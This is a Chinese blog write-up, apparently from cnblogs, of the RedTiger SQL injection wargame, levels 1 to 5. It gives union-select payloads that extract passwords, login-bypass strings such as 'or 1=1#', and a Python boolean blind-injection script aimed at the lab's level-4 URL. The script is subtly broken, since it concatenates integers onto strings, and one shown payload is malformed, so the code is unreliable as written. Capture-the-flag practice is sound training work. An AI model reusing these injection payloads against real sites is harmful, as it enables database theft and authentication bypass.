• Redtiger SQL注入练习(一)


    感觉会的东西太少了,以后要多练习,多写博客。要坚持学习,一定不能放弃,为梦想奋斗。

    redtiger  这个平台早就开始做了,但是才做到第4关。。。。

    第一关

    打开题,

    先随便试,后来发现点击 Category 后的1 可以注入,

    然后就是注入了,构造cat=1'' 还报错,估计是数字型注入,然后构造cat=1 order by 1猜列数,得出是4个。

    cat=1 union select 1,2,3,4 发现回显3,4。

    我用information_schema这个库,但是不行,仔细看页面发现已经给了表名,学网安也需要视力啊。

    直接cat=1 union select 1,2,password,4 from level1_users

    用户名也给出了,然后就登录进入第二关吧!

    第二关:

    看题想到万能密码,我试了很多次都登不上,看了别人的操作,感觉我输入的和他一样啊,咋就进不去了。。。。

    直接粘贴复制的万能密码登录。

    username=admin' or '1'='1          password='or 1=1#

    第三关:

    我在这关采坑时间最长,翻遍了所有人的writeup,就是不行。。。后来才知道问题所在。

    提示是,报错注入。点击TheCow  ,看到url明显经过加密,函数报错。。。也不知道怎么加密,就试了数组  usr[]=.......

    进入这个文件,发现加密解密函数

    然后构造 注入语句 加密就可以了。(不知道是php版本不同还是linux和windows不同导致的随机数不同,加密的结果也不同,我就踩了这个坑。)

    这个网址有详细注入过程:https://www.jianshu.com/p/84d543cff8c0

    第四关:

    进入第四关,发现注入只会回显0或1,应该是布尔盲注。

    猜一下keyword长度,id=1 and length(keyword)=   得出21.

    构造url语句 id=1 and ascii(substr((keyword,1,1)))=

    盲注脚本:

    import string
    from re import *
    from urllib.request import *
    
    answer=""
    char=string.printable
    login ={'Cookie':'level4login=there_is_no_bug'}
    url="https://redtiger.labs.overthewire.org/level4.php?id=1%20and%20ascii(substr((select%20keyword%20from%20level4_secret),{0},1))={1}"
    
    for q in range(1,22):
        for i in range(1,127):
            test=(url .format(q,i))
            request=Request(test,None,headers=login)
            res=urlopen(request)
            s=res.read().decode()
            if(findall("Query returned 1 rows.",s)):
                print("{0}  ".format(q)+i)
                answer+=i
                break
    
    print(answer)

    跑出答案,进入第五关。

    第五关:

    看提示,过滤了几个函数,而且不是盲注,bapass 登录,密码是md5加密。

    先随便输一个账号密码,返回 user not found。

    然后构造一个:

    返回,login failed。可见 username已经绕过。然后order by查询,发现不可以。直接union select 试吧。

    得出字段是2。

    构造:username=' union select 1,'c81e728d9d4c2f636f067f89cc14862c'#

    password=2

    过关。。。。

    (后5关再写另一篇)

  • 相关阅读:
    Python--关于dict
    数据结构之线性表的实现
    js数据类型检测小结
    javascript的执行机制—Event Loop
    深入理解理解 JavaScript 的 async/await
    操作系统管理CPU的直观想法
    入门Promise的正确姿势
    javascript的数据类型转换
    JS预编译详解
    如何去封装一个Ajax库
  • 原文地址:https://www.cnblogs.com/whitehawk/p/9902553.html
Copyright © 2020-2023  润新知